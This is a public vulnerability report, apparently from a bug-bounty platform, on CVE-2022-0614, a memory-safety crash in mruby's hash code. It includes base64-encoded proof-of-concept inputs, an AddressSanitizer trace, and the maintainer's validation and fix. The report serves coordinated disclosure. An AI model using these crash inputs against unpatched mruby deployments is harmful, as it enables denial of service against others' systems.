Use of Out-of-range Pointer Offset in mruby/mruby

0

Valid Reported on Feb 14th 2022

Description

Using out of range pointer occurs in entry_deleted_p().
commit : ad3ce7b41c4375f818d02a24e6a09cbc790048c9

Proof of Concept

```
$ echo -ne "MC5TJDAsKir9PTAsdjowLHY6MA=="  | base64 -d > poc

# ASAN
$ ./bin/mruby.asan poc
AddressSanitizer:DEADLYSIGNAL
=================================================================
==4096970==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
==4096970==The signal is caused by a READ memory access.
    #0 0x56af82 in entry_deleted_p /home/alkyne/mruby-debug/src/hash.c:386:
    #1 0x57aef4 in ea_get_by_key /home/alkyne/mruby-debug/src/hash.c:455:3
    #2 0x57a2db in ar_set /home/alkyne/mruby-debug/src/hash.c:525:16
    #3 0x56f7d6 in h_set /home/alkyne/mruby-debug/src/hash.c:1011:3
    #4 0x56e989 in mrb_hash_set /home/alkyne/mruby-debug/src/hash.c:1244:3
    #5 0x5be2bc in mrb_vm_exec /home/alkyne/mruby-debug/src/vm.c:2771:9
    #6 0x58c1ca in mrb_vm_run /home/alkyne/mruby-debug/src/vm.c:1128:12
    #7 0x586939 in mrb_top_run /home/alkyne/mruby-debug/src/vm.c:3037:12
    #8 0x68dd6b in mrb_load_exec /home/alkyne/mruby-debug/mrbgems/mruby-com
    #9 0x68ef4b in mrb_load_detect_file_cxt /home/alkyne/mruby-debug/mrbgem
    #10 0x4cd28f in main /home/alkyne/mruby-debug/mrbgems/mruby-bin-mruby/t
    #11 0x7ffff7a690b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #12 0x41d70d in _start (/home/alkyne/mruby-debug/bin/mruby.asan+0x41d70

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/alkyne/mruby-debug/src/hash.c:386:10
```

```
==4096970==ABORTING
```

CVE
CVE-2022-0614
(Published)

Vulnerability Type
CWE-823: Use of Out-of-range Pointer Offset

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 427 times.

We are processing your report and will contact the **mruby** team within 24 hours. 9 months ago

alkyne Choi 9 months ago Researcher

If you cannot reproduce, please use the following poc.

Chat with us

```
$ echo -ne "PzAuU29jgGV0MCQwMDAwMCwqKv09P30sU45kc2R2OjAsKir9LFOOZHNkdjowLCoq/QB0TEw6"
```

We have contacted a member of the **mruby** team and are waiting to hear back 9 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **ff3a5e** 9 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Yukihiro 9 months ago — Maintainer

The fix was incomplete. I will revisit.

alkyne Choi 9 months ago — Researcher

Okay.

Yukihiro 9 months ago — Maintainer

I revisit the issue, and found that the issue is addressed completely. It was my mistake.

Sign in to join this conversation